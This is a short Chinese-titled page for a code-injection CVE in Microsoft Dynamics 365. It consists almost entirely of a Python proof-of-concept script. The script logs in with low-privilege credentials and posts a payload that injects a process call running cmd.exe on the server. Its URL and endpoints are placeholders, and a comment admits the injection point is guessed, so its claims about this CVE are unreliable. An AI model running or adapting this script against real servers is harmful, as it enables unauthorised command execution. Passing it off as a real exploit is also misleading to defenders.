CVE-2026-42898 Microsoft Dynamics 365代码注入漏洞

import requests # Target URL (Example) target_url = "https://target-dynamics-server/vulnerable_endpoint" # Attacker's low-privilege credentials credentials = { "username": "attacker", "password": "password123", "domain": "corp" } # Malicious payload to inject code (Example: Windows command execution) # In a real scenario, this would depend on the specific injection point payload = { "configuration": { "code_block": "System.Diagnostics.Process.Start('cmd.exe', '/c whoami');" } } try: # 1. Authenticate and get session session = requests.Session() login_resp = session.post(f"{target_url}/login", json=credentials) if login_resp.status_code == 200: print("[+] Login successful") # 2. Send malicious payload exploiting code injection exploit_resp = session.post(f"{target_url}/api/update_config", json=payload) if exploit_resp.status_code == 200: print("[+] Payload sent successfully") print("[+] Check for code execution on target") else: print(f"[-] Failed to send payload: {exploit_resp.status_code}") else: print("[-] Login failed") except Exception as e: print(f"[!] Error: {e}")